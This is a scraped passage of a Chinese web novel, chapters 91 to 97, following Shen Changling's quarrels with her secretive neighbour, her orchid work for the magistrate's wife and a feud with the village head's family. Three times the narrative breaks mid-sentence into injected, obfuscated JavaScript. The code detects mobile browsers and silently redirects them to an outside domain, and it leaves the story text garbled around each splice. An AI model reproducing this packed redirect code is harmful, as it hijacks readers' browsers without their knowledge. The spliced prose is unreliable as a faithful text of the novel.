沈丰德看了沈长菱一眼,欲言又止。最后,他轻声说道,“你的信已经发出去了。” 他顿了顿,又道,“我把消息告诉了户曹,换来了几个名额,可以去府衙帮工,一天六十文,还管一顿饭。” “这不是很好吗!”沈长菱眼前一亮,“比在村里干活强多了。” 看到沈长菱不介意,沈丰德紧皱的眉头也舒展开来。他其实一直担心侄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15595961|171929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女会因为这件事生气,毕竟是利用了她的关系。 夜深人静,月光如水般洒落在院子里。沈长菱正要入睡,突然察觉到有黑衣人踩着院墙往隔壁去。 “这群人是不是有毛病?非踩我家院墙?”她气呼呼地嘀咕着,翻身下床跟了过去。 刚到隔壁院墙,一道寒光就朝她脖子划来。沈长菱赶紧低头躲过,心有余悸地喊道,“我的天!想要我命啊!” 孟西北的气息突然一滞,“是隔壁那丫头?”他收起武器,但并未放松警惕。 “孟大叔,你家可真是热闹非凡。”沈长菱跳下院墙,看着地上已经断气的两个黑衣人撇了撇嘴,“这些人的功夫也太差了,连你这个瞎子都打不过。” 孟西北面色一沉,语气冰冷,“你到底是谁?”普通村姑看到这种场面早就吓得魂飞魄散了,这丫头不但不怕,还在评头论足。 “我可是你隔壁的姑娘呢!”沈长菱理直气壮地说道,“要不是这些人老踩我家院墙,我根本懒得去凑热闹呢!” 孟西北对她的戒心更重了。他面无表情地指着门外,“看也看了,你该回去了。” “别啊,咱们聊聊呗!”沈长菱不依不饶,“孟大叔你以前是干什么的?身手这么好!” 孟西北头疼地扛起两具尸体,朝山上走去。他本想甩开这个烦人的丫头,却发现她紧追不舍。 “大叔,你真的眼睛看不见吗?我怎么觉得你比我眼神还好使呢?”沈长菱一边跑一边问。 孟西北身形一闪,瞬间消失在夜色中。沈长菱双眼发亮,展开灵识追了上去。她发现孟西北的气息非常特别,像是经过特殊训练的武者。 第九十一章 为什么这么快 山上有个深坑,孟西北把尸体往里一扔,转身就走。突然,他停下脚步。 沈长菱气喘吁吁地追上来,“大叔...你跑那么快干什么...等等我啊!” 孟西北“看”向她,“那晚偷窥的,是你?” 沈长菱心虚地不说话,脚尖在地上画着圈。她确实偷看过孟西北练功,但没想到会被发现。 孟西北嘴角勾起一抹诡异的笑容,闪身来到她面前,“想知道我为什么这么快吗?” “真的可以说吗?”沈长菱眼睛一亮,完全没注意到对方语气中的危险。 “当然。” 孟西北一把提起她,在山间疾驰。速度快得让沈长菱根本反应不过来,周围的景物变成一片模糊。很快,他们来到一处悬崖边。 沈长菱觉得自己的心脏都快停了。 寒风呼啸,夜色如墨。她站在悬崖边缘,脚下是望不见底的深渊。冷汗顺着脊背流下,双腿不受控制地微微发抖。 大半夜被人拖到悬崖边跳极限运动,这种事放在谁身上都受不了。更可气的是,这个男人居然怀疑她是仇家派来的**? “你脑子进水了吗?”沈长菱气得直跳脚,声音在山谷间回荡,“哪个**会带着全家搬到目标人物隔壁?我就是好奇多看了你几眼,你就把我当成**?” 孟西北的目光锐利如刀,在沈长菱身上来回打量,“那你解释一下,为什么总是偷偷观察我?” “我...我...”沈长菱语塞,总不能说是因为看他长得帅吧? 见她支支吾吾说不出话,孟西北眼中闪过一丝冷意,“不肯说实话?” “你!”沈长菱咬牙切齿,“大半夜把人拖到这种地方,你还要不要点脸!” 怒火中烧的沈长菱也不管不顾了,拳脚并用朝着孟西北招呼过去。今天不把这个混蛋揍一顿,她就不叫沈长菱! 拳风呼啸,沈长菱的攻击看似凌厉,实则破绽百出。孟西北轻松闪避,眼中闪过一丝诧异。这姑娘的身手嘛,虽然一般,但招式倒是不少,能在他手下撑这么久,也算难得了。 “既然你不愿意坦白,那就留在这儿吧。”孟西北一掌逼退沈长菱,脚尖轻点,身形如燕般掠向崖壁。 “你给我回来!”沈长菱气得直跺脚,“有本事咱们打个痛快!” 孟西北站在崖壁突出的树枝上,月光为他勾勒出一道修长的剪影,“你要打,就自己上来。” 寒风吹乱了他的发丝,衣袂飘飘,整个人轻盈得像一片羽毛。这画面要是放在平时,沈长菱一定会觉得赏心悦目。但现在,她只想把这个装模作样的男人从树上揪下来暴打一顿。 “你敢下来吗?”她仰着头喊道。 孟西北唇角微扬,“为何要下去呢?这里的风景很好。” 沈长菱看着他那副悠闲自得的样子,气得脑袋发胀。她暗暗运起灵识,直接把孟西北脚下的树枝折断了。 “咔嚓”一声,树枝应声而断。 孟西北猝不及防之下身形一晃,但很快就稳住了身形。他看了眼断裂的树枝,若有所思,“有点意思。” “时候不早了,我先回去休息了。”说完,他的身影就消失在夜色中。 沈长菱站在崖底,看着四周陡峭的山壁,咬牙切齿,“好,你等着,等我上去了再跟你算账!” 她从空间里取出攀岩工具,试着把真气灌注到双腿。可惜只能跳起一米高,看来修炼还不到家。无奈之下,只好一点一点往上爬。 月光洒在山壁上,将她的影子拉得老长。寒风呼啸,不时有碎石滚落,发出“哗啦啦”的声响。沈长菱小心翼翼地确认每一个着力点,生怕一个不慎就摔下去。 正爬到一半,孟西北的声音突然在头顶响起,“这么大动静,在干什么?” 沈长菱抬头一看,这个可恶的男人正单脚站在突出的岩石上,一副看好戏的样子。月光为他镀上一层银边,衬得整个人越发出尘脱俗。 “爬山呢,不然能干什么?”她没好气地说,手上动作不停。 “用工具?”孟西北的语气中带着几分调侃。 “你晓得人类与动物之间最大的差别是什么吗?”沈长菱冷笑,“就是会使用工具!我又不像某些人,整天装神弄鬼的。” 孟西北一时语塞。 他默默地看着沈长菱艰难攀爬,过了一会儿说道,“力气不小嘛。” “天生的,用不着你管!”沈长菱气喘吁吁地说,“你要是闲着没事,不如下来帮忙?” “我为什么要帮你?” “怎么,心虚了?”沈长菱抓住一个突出的岩石,借力往上爬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15595962|171929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“堂堂男子汉,大半夜把一个手无缚鸡之力的弱女子拖到这种地方,传出去不怕别人说闲话?” 孟西北眉头微皱,“你这话说得,好像我对你做了什么不可告人的事一样。” “难道不是吗?”沈长菱继续往上爬,“我看你就是心里有鬼,才会...” 话还没说完,她脚下一滑,整个人向后倒去。 就在这千钧一发之际,一只有力的手抓住了她的手腕。孟西北几个起落,就带着她到了崖顶。 沈长菱双脚刚沾地,就看到孟西北的身影已经消失不见。 “有本事别跑!”她对着夜色大喊,但已经没了回应。 折腾了一整夜,沈长菱也没了力气,只想赶紧回家睡觉。至于找孟西北算账...还是等以后吧,打不过就是打不过。 回到家时天还没亮,一家人都睡得正香。沈长菱连衣服都懒得换,倒头就睡。梦里,她还在和孟西北打架,只不过这次她学会了身法,在崖壁间来去自如。 天刚蒙蒙亮,王师傅就带着两个儿子开始干活。院子里传来叮叮当当的声响,沈长菱翻了个身,把被子蒙在头上。 “下雪了,得抓紧时间!”外面传来王师傅的声音。 沈长菱迷迷糊糊地睁开眼,透过窗户看到外面飘起了鹅毛大雪。她本想继续睡,却被一阵急促的敲门声惊醒。 “长菱,快起来!”是沈丰年的声音,“县令夫人找你!” 沈长菱无奈地爬起来,随便整理了一下衣服来了县衙。 后院里的气氛凝重得令人窒息,连空气都仿佛凝固了。 廊下的丫鬟们个个低着头,连走路都放轻了脚步,生怕惊扰了正厅里的动静。几个年纪大些的婆子站在角落里窃窃私语,时不时往正厅方向投去担忧的目光。 沈长菱跟着小丫鬟穿过回廊,青石板路在阳光下泛着微光。 还未到正厅门口,就听见里面传来激烈的争吵声。 “含嬷嬷是母亲的陪嫁心腹,你这样把人赶走,不是在打母亲的脸吗?”男人的声音带着压抑的怒气,隐约能听出极力克制的痕迹。 “打她的脸?”一声冷笑划破空气,“当初她在我女儿满月宴上,当着那么多人羞辱我不能生儿子的时候,怎么不想想自己的脸面?”女人的声音尖锐刺耳。 第九十二章 一定要赶走 沈长菱听着里面的争执,不由得皱起眉头。这种豪门内宅的纷争,最是难缠。 “现在说的是含嬷嬷的事,你别扯开话题!”男人的声音更加愤怒。 “好,那我就直说了。”女人冷冷道,“这个人我是一定要赶走的。一个下人,还想让我这个主母忍着?天底下哪有这个道理!” “你!”男人似乎被气得不轻,语气中带着几分无可奈何,“随你处置,但不能送回老家!” “那就杀了。”女人的声音冰冷刺骨,不带一丝温度。 正厅内一片死寂,连呼吸声都清晰可闻。 “荒唐!”男人猛地拍案而起,“她是母亲的陪嫁,你有什么资格处置她的性命!” “砰”的一声,门被人狠狠推开,差点撞到站在门边的沈长菱。 县令大步流星地走出来,脸色铁青,额角青筋暴起。他连看都没看门口站着的人一眼,径直朝外走去。长随赶紧跟上,脚步匆匆。 桂花站在门边,深吸一口气,对两边战战兢兢的丫鬟使了个眼色,“进去收拾。” 丫鬟们轻手轻脚地进去收拾残局,茶杯碎片散落一地,显然方才争执激烈。 沈长菱站在原地,看着这一幕,心中暗自思量。这位县令夫人,性子倒是够烈的。难怪连县令都拿她没办法。 没多久,桂花出来请她进去。 林夫人坐在主位上,脸色虽然不好看,但强撑着挤出一丝笑容,“我按你说的买了些花盆,你看看哪个合适。” 几个丫鬟抱着各式各样的花盆走进来,摆了满地。有的是青花瓷的,有的是紫砂的,还有几个是普通的陶土花盆,但每一个都做工精致。 沈长菱看着这阵仗,心中暗叹。有钱人家连买个花盆都这般阔绰,随便一个怕是都抵得上寻常百姓家半月的口粮钱。 她目光在花盆间扫过,最后指了指一个普通的陶土花盆,“就这个吧,透气性好,最适合养兰花。” 拿过剪刀,用酒水消了毒,开始修剪兰花的枯叶。 “你怎么把叶子都剪了!”林夫人惊呼,“这样不会把花给毁了吗?” 沈长菱手上动作不停,“夫人,这些黄叶已经坏**,留着只会跟好叶子抢养分。有时候,该放手的就得放手,这样反而能让花长得更好。” 林夫人一怔,若有所思地看着那些被剪下的枯叶。 沈长菱继续处理兰花,把整株挖出来检查根系。发现腐烂的部分后,她小心地用小刀处理干净,动作轻柔却坚决。 “每天记得晒太阳,按时浇水就行。”沈长菱交代完,准备告辞。 “等等。”林夫人叫住她,眼神复杂,“你说得对,有些东西,是该放手的。” 沈长菱看着林夫人的神色,知道她说的已经不只是这盆兰花了。她微微颔首,没有多说什么。 离开府衙后,沈长菱骑马往青山村赶。 突然,一个老妇人跌跌撞撞地冲到马前,直接躺在地上打滚,“哎哟,这位小姑娘,你这马儿可真是不懂规矩,差点把我这把老骨头给撞散了。”老妇人抬头,眼中闪过精明的光芒。 沈长菱微微蹙眉,心知这是遇上了碰瓷的老手。她打量着眼前的老妇人,虽然衣着朴素,但面色红润,一看就不是普通农妇。 “卫大娘,您老就别在这挡道了,我还得急着回家呢。”沈长菱语气平淡地说道。 卫大娘眼中闪过一丝诧异,显然没想到对方认得自己。她拍了拍身上的尘土,脸上的痛苦表情瞬间消失,取而代之的是狡黠的笑容。 “想得美!你得带我一程!” 沈长菱心下了然,这老太太讹不到银子,总得占点便宜才甘心。她看了看渐渐**的人群,权衡利弊后,决定暂时妥协。 “罢了,就当我行善积德。”她伸手一捞,将卫大娘拉上了马背。 乌骓马在乡间小道上飞驰,扬起阵阵尘土。卫大娘被颠得东倒西歪,脸色发白,死死抓着沈长菱的手臂,指甲几乎要陷入肉里。 “要不我放您下去?您这身子骨怕是受不住。”沈长菱被她抓得生疼,忍不住出声提醒。 “呸!老娘什么马没骑过呢,这点颠簸算什么!”卫大娘嘴硬道,但声音里已经带上了几分颤抖。 路过的农田里,几个正在劳作的村民抬起头,好奇地打量着这对奇怪的组合。有人认出了卫大娘的身份,顿时议论纷纷。 “那不是村长家的吗?” “怎么跟新来的混到一块去了?” “听说新来的家底殷实,说不定是村长想巴结人家呢。” “有钱?谁说的?我看啊......” 沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你疯了!你这是要与全村为敌!”他的声音里带着几分颤抖。 沈长菱居高临下地看着他们,“我不也是青山村的人?谁说我要与全村为敌?”她顿了顿,“不过,我沈长菱可不是那么好欺负的。” 说罢,她策马缓缓离去。所过之处,村民纷纷退避,目光中既有惊惧,也有好奇。 沈长菱感受着马背上的颠簸,回想着方才的一幕,心中五味杂陈。 她知道,自己今天的举动必定会在村里掀起轩然大波。但她别无选择,在这个弱肉强食的世界里,有时候必须用强硬的手段来立威。 第九十三章 完工 回到家中,沈长菱若无其事地喂了乌骓马几根胡萝卜,轻轻抚摸着它的鬃**。马儿温顺地蹭了蹭她的手掌,仿佛在安慰她。 院子里一片忙碌景象。王师傅正带着儿子们忙活着,沈明昊等人在加固院墙。 “今天房顶差不多完工了,炕也快盘好,马上就能分开住。”沈明文擦了擦额头的汗水,兴奋地说道。 沈明昊放下手中的工具,撇嘴道,“我们比你更想分开。” “什么意思?”沈明文一脸不解。 “你睡觉什么德性,自己心里没数?”沈明昊翻了个白眼。 沈长河在一旁偷笑,“二哥睡觉时磨牙放屁打呼噜,比我爹还响!”说完就躲到了沈长菱身后。 “你给我闭嘴!”沈明文恼羞成怒,抓起一把泥巴就要砸人。 沈长菱看着大哥沈明昊忍俊不禁的模样,心里涌起一股暖意。 “行了,别闹了。”沈明昊轻咳一声,抹去额头的汗水,“赶紧干活,趁着天还亮着,多修一会儿。” 几个弟弟听到大哥发话,这才收敛了玩闹的心思。沈长河拍了拍手上的灰尘,认真地跟着王师傅的儿子搬运木料。沈明文则小心翼翼地爬上房梁,开始替换损坏的横梁。 破旧的院子里弥漫着木屑的清香,混合着泥土的气息。虽然房屋简陋,但对于刚刚流放至此的沈家来说,这已经是一个可以安身的地方了。 “长菱!长菱!”一道急切的声音打破了院子里的宁静。 沈长菱抬头,就见林月踩着小碎步,风风火火地冲了过来。她的裙摆沾着泥点子,显然是一路跑来的。 “你今天去干架了?”林月一把抓住她的手,上下打量着,“怎么不叫上我?我可是你娘啊!” “打架?”沈长菱一头雾水,下意识摸了摸自己的脸,“我啥时候去干架了?” “别瞒我了!”林月急得直跺脚,“我都听说了,你把村长家的门都拆了!村口的李婶子亲眼看见的!” 这话一出,原本忙碌的院子瞬间安静下来。兄弟几个齐刷刷停下手中的活计,连王师傅的儿子都停下了锯木的动作。 沈明昊从房梁上跳下来,眉头微皱,“出什么事了?你不是那种无缘无故惹事的人。” “就是,肯定是他们欺负你了吧?”沈明文撸起袖子,一副随时准备干架的模样,“要不要哥哥们帮你出气?” 沈长菱看着几个哥哥关切的眼神,心里一暖。她靠在墙边,将今天遇到卫大娘的事情娓娓道来。 “太过分了!”林月听完就炸了,一张圆脸涨得通红,“这不是在欺负人吗?儿子,我能不能用刀去剁了他们?” 她一脸认真地看着沈长河,眼睛里闪烁着凶光。只要他点头,她立马就能提刀上阵。 沈长河看着老母亲这副模样,嘴角微微上扬,“娘现在真棒,竟然提前问我一声了。上次您直接冲出去,可把我们都吓坏了。” 林月被夸得不好意思,捂着脸扭捏起来,“这不是长进了嘛......” “这重点是不是跑偏了......”沈长菱无奈地看着这一幕。 沈明昊倒是云淡风轻,“不用管,等爹和小叔回来,让他们去找村长就行。这种事情,总要有个说法。” “就是,咱们可不是好欺负的。”沈明文拍了拍胸脯,“要是他们敢再来**,看我不......” “行了。”沈明昊打断了弟弟的话,“先把房子修好要紧。” 沈长菱看着还在气头上的林月,连忙拉着她到一旁,“娘,您这么厉害,哪能为这点小事出手?那不是大材小用了吗?” “真的吗?”林月眼睛一亮,像个等待夸奖的孩子。 “当然了,您这样的大人物,就该在关键时刻出场。”沈长菱循循善诱,“家国大事才配得上您出手。您说是不是?” “那我真的是个大人物吗?”林月眨着眼睛,一脸期待。 “那还用说?您这么厉害,当然是了。”沈长菱笑着说,“您可是我们的主心骨呢。” 林月虽然没完全理解,但还是把这话记在了心里,脸上露出了满足的笑容。 入夜,沈丰德和沈丰年从外回来,沈长河一见面就把事情说了。 沈丰德放下碗筷,眉头紧锁,“我知道了。” 沈丰年满脸炭灰,咬了口馒头骂道,“呸!欺负到咱们头上来了,真当咱们好欺负?” “爹,我们也想去。”沈明昊站了出来,三个弟弟也跟着站直了身子。昏暗的油灯下,几个年轻人的身影显得格外挺拔。 沈丰德看着儿子们坚定的眼神,欣慰 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“无妨。”沈丰德淡然开口,“两位兄弟在场也好。” 他径直找了位置坐下,儿子们整齐地站在他身后。这一幕让村长心里更加忌惮。 “我希望今天的事不会再发生,否则后果自负。”沈丰德开门见山,语气平和却带着不容置疑的力量。 村长冷笑,“就凭你们?一群流放来的......” “就凭我们。”沈丰德打断他的话,语气依旧平静。 “你们的耕地还没审批下来呢,多少全在我手里。”村长威胁道,“别以为......” 沈丰德从怀里掏出一摞契书,轻轻放在桌上,“沈氏三十二户的耕地契书都在这。” 村长瞪大了眼睛,一时说不出话来。 “我沈氏虽是流放,不过我们全家都是读书人。恰巧府衙缺文吏,承蒙户曹厚爱......”沈丰德的话里带着几分意味深长。 “会读书真牛啊!”寿虎不屑地打断,“蛮子来了你还能给他背书不成?” 沈明昊冷笑一声,“读书明理明智,此乃圣上金口玉言,你有意见?” 第九十四章 涮锅 村长一家缩缩脖子,不敢再言。 翌日,沈长菱被一阵叮叮当当的敲打声吵醒,她翻了个身,把被子裹得更紧了些。 “再睡会儿......”她迷迷糊糊地嘟囔着,意识还在梦境与现实之间徘徊。 院子里的响动却越发清晰,木槌敲打的声音此起彼伏,还夹杂着工人们的交谈声。沈长菱努力把自己往被窝深处缩了缩,试图用被子隔绝外界的喧嚣。 “砰!”一声格外响亮的敲击声传来,沈长菱终于认命地睁开了眼睛。 她穿好衣服。院子里,王师傅带着两个徒弟正在忙活着修葺房屋。木屑纷飞,锤声不断,三人配合默契,动作麻利。 沈丰年双手插在袖子里,缩着脖子站在一旁看着他们干活。 “这鬼天气,一年比一年冷。”沈丰年搓着手抱怨道,“晚上得多烧几个炭盆才行。” 沈丰德站在廊下,眉头微皱,“你这是什么样子?像个大老爷们吗?” “得了吧大哥,”沈丰年缩了缩脖子,往旁边挪了两步,“在自个家还讲究这些做什么?又不是在外头。” 孟氏端着一大锅热气腾腾的稀粥从厨房走出来,香味随着蒸汽四散开来。锅底还冒着热气,在寒冷的空气中形成一团团白雾。 “来吃早饭了!”她的声音里带着几分暖意。 王师傅三人放下手中的工具,接过碗,蹲在工地边上狼吞虎咽地吃了起来。热粥下肚,他们的脸上都泛起红晕。 沈长菱端着碗,小口啜着粥,听着孟氏和林月商量着进城采买的事。 “今儿个想买点肉回来,”孟氏一边收拾碗筷一边说,“你们有什么想吃的尽管说。” “羊肉!”沈明文眼睛一亮,“大冷天的,吃羊肉最暖和了!” “我要吃涮锅!”沈长菱赶紧接话,“最好是牛肉的,薄薄的一片片,涮得滚烫......” 孟氏瞪了两人一眼,“你们倒会挑,羊肉牛肉的,当家里是开钱庄的?这价钱,都快赶上金子了。” “嫂子,这大冷天的,吃点羊肉暖和......”沈丰年也凑过来帮腔,“再说了,咱家也不是吃不起。” 正说着,隔壁院子突然传来一阵响动,像是什么东西倒塌的声音。沈长菱下意识地竖起耳朵,仔细分辨了一下声音的来源和方向。 确定不是踩塌她家院墙的声音后,她才稍稍放心。那晚那个瞎子邻居可是把她折腾得够呛,要是今天再敢踩塌她家墙,非得让他把钱赔个清清楚楚不可。 想起那晚的事,沈长菱就觉得一阵气闷。 吃过早饭,孟氏和林月收拾妥当,准备进城。两人裹得严严实实,孟氏还特意戴上了沈长菱前些日子给她买的新围巾。 “伯母,买肉的时候记得挑肥的!”沈长菱追出几步叮嘱道,“最好是带点肥的,炖起来才香。” “知道了知道了,就你事多。”孟氏笑骂道,“你啊,就知道吃。” 目送两人离开,沈长菱站在院子里,看着王师傅他们忙碌的身影。 院子里,沈丰正和几个侄子商量着重建马棚的事。 “这马棚都快散架了,四处漏风的,再这么将就下去,马都得病了。”沈丰年搓着冻得通红的手,目光不经意间瞥向沈长菱,语气中带着几分期待,“我丫头不是说要给我弄匹好马回来吗?得提前把马棚收拾妥当才是。” 沈长菱看着父亲眼中闪烁的光芒,心头一暖,“爹说得对,说不定过两天马就到了,正好赶上新马棚。” “那敢情好!”沈丰年眼睛顿时亮了起来,拍着大腿站起身,“几个小子,都别闲着了,赶紧干活去!” 王师傅站在一旁指点着,时不时提醒几句要领。沈明昊则掏出一个小本子,认真记录着每一个细节。他的本子上密密麻麻写满了字迹,有的甚至挤到了页边。 “大哥,你记这么多做什么?”沈长菱好奇地凑过去。 翻开本子,不仅有盖房子的要领,连日常采买的物价、路上见闻都记得清清楚楚。字迹工整,条理分明,看得出下了不少功夫。 “生活中处处是智慧。”沈明昊轻抚着本子,神情郑重,“对了,能帮我再做些炭笔吗?这东西实在太好用了。” “我那还有不少存货,先给你用着。”沈长菱笑道,“听说很多人都想要这种笔呢。” 沈丰年砌墙的手顿了顿,眼中精光一闪。府衙那些文吏天天写字,这炭笔不就是现成的买卖?他的脑子里已经开始盘算起来。< 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夜幕降临,沈丰德一回来,全家人立刻围了上去。沈丰年按着他坐下,几个儿子忙前忙后伺候他洗手。屋里炉火正旺,暖意融融。 第一口涮羊肉蘸着沈长菱特制的酱料入口,沈丰德眉开眼笑,“好吃!这酱料是什么做的?味道真绝了!” 得到认可,大家更加卖力地涮起肉来。薄如蝉翼的羊肉在沸腾的汤中翻滚,蘸上酱料,满口生香。一家人说说笑笑,其乐融融。 “神仙过的日子也不过如此!”沈丰年瘫在椅子上感叹,脸上满是幸福的笑容。 连着几天忙着收拾新居,沈长菱这才想起林夫人约她看花的事。她心里一惊,赶紧骑马赶到府衙。 “你倒好,干脆过完年再来得了。”林夫人嗔怪道,但语气中并无责备之意。 沈长菱眨眨眼,笑道,“夫人气色这么好,想必花儿已经好转了?” 林夫人绷不住笑了,“你自己看看不就知道了。” 来到花架前,那盆兰花已经焕发生机,新叶抽得正旺,绿意盎然。沈长菱仔细查看了一番,满意地点点头。 第九十六章 吓不到我 “拦住她!”林夫人厉声喝道,声音中带着不容置疑的威严。 几个丫鬟立即上前,手忙脚乱地将发狂的含嬷嬷拉住。她挣扎着,发髻散乱,眼中闪烁着疯狂的光芒。 林夫人从软榻上起身,款款走到沈长菱身边。她穿着一身淡紫色的褙子,发间的珠钗随着步伐轻轻晃动。“你没事吧?”她关切地问道,声音温柔。 “无妨。”沈长菱淡然一笑,整理了一下被扯乱的衣襟,“这种小事根本吓不倒我。” 就在这时,李德含突然眼神一动,像是想到什么重要的事情,“你姓沈?”他的声音带着几分急切,“可是与沈丰德有什么关系?” “回大人,那是我大伯。”沈长菱语气平淡,仿佛在说一件微不足道的事。 “原来如此!”李德含眼睛一亮,整个人的气质都变了,“难怪你能写出那篇种植法!” 沈长菱没有接话,只是静静地站着。 林夫人见状,立即打圆场。她的声音带着几分讥讽,“老爷,这个下人就交给您处置了。她自己也说了,身契不在我这儿。要是您觉得我做得不对,大可以休了我。”她冷笑一声,眼神中带着几分凌厉,“到时候外人问起,我就说是为了一个奴才,只要李家不觉得丢人就好。” 含嬷嬷被拖走时还在歇斯底里地喊着,“夫人!我可是为了您着想呢!夫人......”她的声音渐渐远去,最后消失在院子的拐角处。 李德含此时已经完全忘了来意,急切地追问道,“那篇种植法究竟是从哪里来的?效果如何?听说永城那边已经开始试种了?”他的眼中闪烁着求知的光芒。 “大人,”沈长菱微微一笑,眼神中带着几分深意,“这些事情,您不是更应该去问您的同僚吗?” 林夫人不耐烦地看着丈夫,声音中带着明显的厌烦,“人已经被带走了,您该走了吧?” “你!”李德含指着林夫人,气得脸色发青,胸口剧烈起伏,“简直不可理喻!” “是啊,”林夫人冷笑,眼神中带着深深的讽刺,“从前我任性时,你说我娇蛮可爱,现在墨玉变成了鱼目,我就成了不可理喻。” 李德含憋得说不出话,最后只能愤然离去。他的脚步声在石板路上回响,充满了无力的愤怒。 “夫人......”桂花担忧地看着主子,眼中满是忧虑,“这样会不会......” “无所谓,”林夫人打断她,语气淡然,“他还不敢休我。”她的眼神中闪过一丝复杂的情绪。 沈长菱在一旁静静地看着这一切。每个人的婚姻都有自己的苦楚,外人又怎么评说得了? 林夫人很快收敛了情绪,拉着沈长菱说道,“我女儿年前就要回来了,你们年纪相仿,一定有共同话题。”她的语气温和,眼中带着期待。 “只要李姑娘不嫌弃我粗鄙就好。”沈长菱谦逊地说,声音柔和。 “你这话说得真奇怪!”林夫人笑骂道,眼角的笑纹让她整个人显得温柔了许多,“我早就打听过你们沈家了,哪来的粗鄙之说!” 沈长菱心下了然,想必自己的底细早就被摸得一清二楚了。也是,这世上哪有不问清楚就轻易相信的人?她的目光落在院子里那盆重获新生的兰花上,花瓣在阳光下泛着淡淡的光泽。 “桂花!”林夫人唤来丫鬟,声音清脆,“去把我的小盒子取来。” 桂花快步离开,不一会儿就捧着一个精致的檀木匣子回来。匣子上雕刻着精美的花纹,一看就知道是价值不菲的物件。 林夫人从匣子里取出一根金簪和一个绣工精美的荷包,递给沈长菱,“这是给你的谢礼。”金簪在阳光下闪烁着柔和的光芒。 “这太多了......”沈长菱轻声说道。 “不多不多,”林夫人将东西塞进她手里,语气坚决,“你救回这盆花,帮我挽回了面子,这是应得的。” 沈长菱也不过分推辞,痛快地收下了。本就是为钱而来,矫情反而显得虚伪。她将金簪和荷包小心地收好,感受着荷包中沉甸甸的分量。 待沈长菱告辞后,林夫人脸色骤然一沉,眼神变得锐利起来,“把含嬷嬷悄悄带到南苑庄子,我要好好审问她。”她的声音冷得像冰。 沈长菱的话确实引起了她的怀疑。为什么所有人都不敢断言那花已死,唯独含嬷嬷一口咬定?除非......林夫人的手指无意识地敲击着桌面,眼神深 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这一声惊动了在树上休息的暗卫。他猛地睁开眼,警觉地朝声音传来的方向望去,手已经按在了腰间的佩刀上。 沈长菱时不时轻抚马儿的鬃**,金色的那匹尤其温顺,蹭着她的手掌讨要疼爱。黑色的那匹则显得有些高傲,只是偶尔甩动一下尾巴以示回应。 就在这时,她敏锐地察觉到一丝异样的气息。树叶沙沙作响,却不是风吹动的声音。抬眼望去,一个熟悉的身影正坐在不远处的树上。 “这不是暗二么?”沈长菱心中暗笑。她放慢脚步,故意牵着马儿从树下经过。感受到头顶投来的目光,她假装不经意地抬起头,正好与那道身暗四目相对。 暗二显然也认出了她,从树上轻盈地一跃而下,落在她面前。他的衣衫有些褶皱,面色略显疲惫,看起来是赶了很长的路。 “这不是楚公子的随扈吗?”沈长菱笑眯眯地打招呼,“真是巧啊。” 暗二愣了一下,眼神有些呆滞,“是挺巧的。”他的目光不自觉地落在那两匹骏马身上。 “你怎么一个人在这?”沈长菱注意到他的视线,不动声色地将马儿往后牵了牵,“楚云衡没跟着来?” 第九十七章 借钱 “世子不在,就我自己。”暗二收回目光,语气中带着几分落寞。 沈长菱心里暗自盘算着,试探道,“刚才你一直在这树上?怎么不跟我打招呼呢?”她的手指无意识地绕着缰绳,心跳微微加快。 “我刚才睡着了,听到马叫才醒。”暗二揉了揉眼睛,一副刚睡醒的样子。 听到这话,沈长菱悄悄松了口气。看来他并没有看到自己变马的场景。她放松下来,笑容也真诚了几分,“原来如此。我家就在附近,有什么需要帮忙的尽管说。” 谁知暗二眼睛一亮,像是抓住了救命稻草,“真的能帮个忙吗?能不能借我一些钱?” 沈长菱差点被自己的口水呛到,“借、借钱?”她难以置信地看着眼前这个谢家侍卫。 “我这次出门太急,钱带得不够。”暗二搓着手,一脸诚恳,“您放心,我一定会还的!” 沈长菱忍不住嘀咕,“楚云衡也太抠门了,连手下的盘缠都不给够...”她下意识摸了摸腰间的荷包。 掏出荷包看了眼,里面藏着两张五十两的钞票。这让她心情大好,林夫人出手还真是阔绰。注意到暗二炙热的目光,她赶紧转过身,从私房钱里取出十两银子递给他。 “考虑到咱们是熟人,借你十两。够你租马吃饭。” 暗二接过银子,激动得快要落泪。为了寻找世子口中那个人,他已经在外漂泊半月有余,吃尽苦头。如今总算能像个人样了。 “多谢沈姑娘!”他不停道谢,眼中闪烁着感激的光芒。 沈长菱看他对着银子傻笑,不禁怀疑这人是不是脑子有问题。她摇摇头,准备继续赶路。 “等等!”暗二突然叫住她,“沈姑娘,我能问个问题吗?” 沈长菱停下脚步,挑眉看着他,“什么问题?” 暗二犹豫了一下,小心翼翼地问,“你最近...有没有遇到什么奇怪的事?” 沈长菱心头一紧,强装镇定,“什么奇怪的事?” “就是...”暗二支支吾吾,“比如看到什么不寻常的人或物?” “没有。”沈长菱果断回答,“我整天就是在家帮忙,能遇到什么奇怪的事?” 暗二若有所思地点点头,也没再追问。 沈长菱牵着马继续赶路,心里却泛起了嘀咕。暗二这番话显然另有深意,难道楚云衡派他来是为了调查什么? 在回家的路上,她遇到了寿虎寿虹兄弟。两人垂头丧气地扛着树,看到她的马想要靠近。 想起上次卫大娘的事,沈长菱冷着脸加快马速,“让开!撞死你们我可不负责!” 